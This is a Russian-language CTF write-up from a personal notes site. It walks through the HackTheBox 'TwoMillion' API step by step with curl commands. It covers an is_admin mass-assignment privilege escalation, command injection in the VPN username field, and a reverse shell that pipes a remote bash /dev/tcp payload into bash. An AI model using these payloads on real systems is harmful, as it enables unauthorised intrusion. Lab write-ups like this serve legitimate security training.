> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Злоупотребление API HackTheBox

## Эксплуатация API HACKTHEBOX

<figure><img src="/files/4127ee1173685705f054abea966029f58e30b1af" alt=""><figcaption></figcaption></figure>

#### Наблюдение за API

Посетив `/api`, мы видим доступные маршруты

<figure><img src="/files/af3e89886b5b05af94102b500c6f26def619d9d6" alt=""><figcaption></figcaption></figure>

#### Попытка генерации конфигурации VPN (первичная неудача)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

ответ: неавторизован.

<figure><img src="/files/6392357770a6c0f62c67fd08778608a30767362a" alt=""><figcaption></figcaption></figure>

#### Изменение нашей роли через API

<figure><img src="/files/7b7ada4e9eb3d26dadaef817396d5b9f1fcae38f" alt=""><figcaption></figcaption></figure>

Мы тестируем изменение параметров пользователя с помощью маршрута:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Отсутствует параметр: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Отсутствует параметр: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> ответ:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/1e5bca5b382d3fc60516e9d6cd002e52f397ae31" alt=""><figcaption></figcaption></figure>

#### Проверка нашего статуса администратора

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/0134baaacf9eafb976d08c20b4c087dc9c0dcf2b" alt="" width="563"><figcaption></figcaption></figure>

### RCE через внедрение команды

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/7ffd35332f72cf2b3a06dd268b234d61ab784fba" alt=""><figcaption></figcaption></figure>

Попытка внедрения команды в поле `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/160cc74ee6e43afb3c621baccbcc8215f03c49df" alt=""><figcaption></figcaption></figure>

#### Обратная оболочка

1. **файлы сервера**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Прослушиватель Netcat**

```bash
nc -nvlp 443

```

3. **Отправка команды**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Мы получаем обратную оболочку

<figure><img src="/files/d2e4991c8704cef444b8f0c65ebf1b4163841345" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
